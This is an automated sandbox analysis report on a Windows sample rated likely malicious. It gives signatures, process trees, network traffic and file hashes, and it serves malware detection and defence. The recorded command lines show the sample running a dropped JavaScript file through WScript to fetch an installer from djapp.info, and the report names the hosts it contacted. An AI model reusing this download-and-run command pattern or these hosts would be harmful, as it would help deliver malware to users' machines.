Analysis Overview
SHA256
0fbd0b1f616c5ad5d2ca0c14ef41fa18dc01e290abed4048944e04708b5d3711
Threat Level: Likely malicious
The file a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Unsigned PE
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-12 18:28
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-12 18:28
Reported
2024-06-12 18:31
Platform
win7-20240508-en
Max time kernel
144s
Max time network
143s
Command Line
Signatures
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf15F1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf15F1.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf15F1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf15F1.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf15F1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf15F1.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf15F1.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-12 18:28
Reported
2024-06-12 18:31
Platform
win10v2004-20240611-en
Max time kernel
128s
Max time network
137s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WScript.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2816,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 8.8.8.8:53 | bi.downthat.com | udp |
| US | 3.94.41.167:80 | bi.downthat.com | tcp |
| US | 13.107.42.16:443 | tcp | |
| US | 8.8.8.8:53 | www.hugedomains.com | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 167.41.94.3.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.234.34.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 3.94.41.167:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 199.232.210.172:80 | tcp | |
| US | 3.94.41.167:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 3.94.41.167:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | 58.99.105.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.djapp.info | udp |
| US | 3.94.41.167:80 | bi.downthat.com | tcp |
| US | 8.8.8.8:53 | 249.197.17.2.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\fuf3524.js
| MD5 | 3813cab188d1de6f92f8b82c2059991b |
| SHA1 | 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb |
| SHA256 | a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e |
| SHA512 | 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76 |
memory/2824-4-0x0000000073FF0000-0x0000000074002000-memory.dmp